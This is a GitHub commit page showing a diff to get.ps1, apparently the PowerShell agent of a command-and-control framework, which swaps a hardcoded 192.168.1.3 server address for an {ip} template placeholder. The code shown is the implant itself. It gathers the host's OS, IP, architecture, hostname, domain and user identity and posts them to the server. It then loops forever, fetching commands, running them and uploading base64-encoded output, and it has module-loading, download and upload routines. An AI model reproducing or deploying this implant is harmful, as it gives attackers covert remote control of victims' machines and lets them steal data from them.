Skip to content

Commit

Permalink
更新
Browse files Browse the repository at this point in the history
更新
  • Loading branch information
demonsec666 committed Feb 3, 2020
1 parent e666d81 commit a3e915a
Show file tree
Hide file tree
Showing 2 changed files with 7 additions and 93 deletions.
86 changes: 0 additions & 86 deletions get.ps.txt

This file was deleted.

14 changes: 7 additions & 7 deletions get.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ $agent = "$random-img.jpeg"
$finaldata = "$os**$IP**$arch**$hostname**$domain**$whoami"
$h3 = new-object net.WebClient
$h3.Headers.Add("Content-Type", "application/x-www-form-urlencoded")
$h = $h3.UploadString("http://192.168.1.3:9090/info/$agent", "data="+$finaldata)
$h = $h3.UploadString("http://{ip}:9090/info/$agent", "data="+$finaldata)

$h2 = New-Object system.Net.WebClient;
$h3 = New-Object system.Net.WebClient;
Expand All @@ -23,7 +23,7 @@ function load($module)
$handle = new-object net.WebClient;
$handleh = $handle.Headers;
$handleh.add("Content-Type", "application/x-www-form-urlencoded");
$modulecontent = $handle.UploadString("http://192.168.1.3:9090/md/$agent", "data="+"$module");
$modulecontent = $handle.UploadString("http://{ip}:9090/md/$agent", "data="+"$module");



Expand All @@ -38,7 +38,7 @@ function Download($file)
$handle = new-object net.WebClient;
$handleh = $handle.Headers;
$handleh.add("Content-Type", "application/x-www-form-urlencoded");
$modulecontent = $handle.UploadString("http://192.168.1.3:9090/up/$agent", "data="+"$file");
$modulecontent = $handle.UploadString("http://{ip}:9090/up/$agent", "data="+"$file");
return $modulecontent
}

Expand All @@ -50,20 +50,20 @@ function upload($file)
$handle = new-object net.WebClient;
$handleh = $handle.Headers;
$handleh.add("Content-Type", "application/x-www-form-urlencoded");
$modulecontent = $handle.UploadString("http://192.168.1.3:9090/img/$agent", "data="+"$file");
$modulecontent = $handle.UploadString("http://{ip}:9090/img/$agent", "data="+"$file");
return $modulecontent
}


while ($true)
{
$cmd = $h2.downloadString("http://192.168.1.3:9090/cm/$agent");
$cmd = $h2.downloadString("http://{ip}:9090/cm/$agent");
#echo $cmd
if ($cmd -eq "REGISTER")
{
$h3 = new-object net.WebClient
$h3.Headers.Add("Content-Type", "application/x-www-form-urlencoded")
$h3.UploadString("http://192.168.1.3:9090/info/$agent", "data="+$finaldata)
$h3.UploadString("http://{ip}:9090/info/$agent", "data="+$finaldata)
continue
}
if ($cmd -eq "")
Expand Down Expand Up @@ -139,7 +139,7 @@ while ($true)
$bytes = [System.Text.Encoding]::UTF8.GetBytes($output)
$redata = [System.Convert]::ToBase64String($bytes)
$h3.Headers.Add("Content-Type", "application/x-www-form-urlencoded")
$re = $h3.UploadString("http://192.168.1.3:9090/re/$agent", "data="+$redata);
$re = $h3.UploadString("http://{ip}:9090/re/$agent", "data="+$redata);

}

0 comments on commit a3e915a

Please sign in to comment.